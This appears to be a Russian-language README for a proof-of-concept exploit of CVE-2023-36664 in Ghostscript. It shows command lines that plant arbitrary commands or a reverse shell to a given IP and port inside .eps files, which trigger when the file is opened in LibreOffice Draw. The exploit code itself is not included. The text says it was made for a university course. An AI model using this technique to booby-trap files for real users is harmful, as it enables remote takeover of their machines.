
Python PoC для CVE-2023-36664 Ghostscript RCE. Внедряет полезные нагрузки или reverse shell в .eps файлы для запуска выполнения кода через LibreOffice Draw.
Доказательство концепции для CVE-2023-36664.
Чтобы вставить полезную нагрузку в файл .eps :
python3 poc.py -f "filename" --payload "command"
#python3 poc.py -f file.eps --payload firefox
Чтобы вставить полезную нагрузку обратной оболочки в файл .eps :
python3 poc.py -f "filename" --revshell --ip "ip" --port "port"
#python3 poc.py -f file.eps --revshell --ip 192.168.122.1 --port 1234
Открытие внедренного файла в Libreoffice Draw должно активировать полезную нагрузку.
Это доказательство концепции было разработано для конкретного курса в университете. Оно опубликовано здесь только для педагогического использования.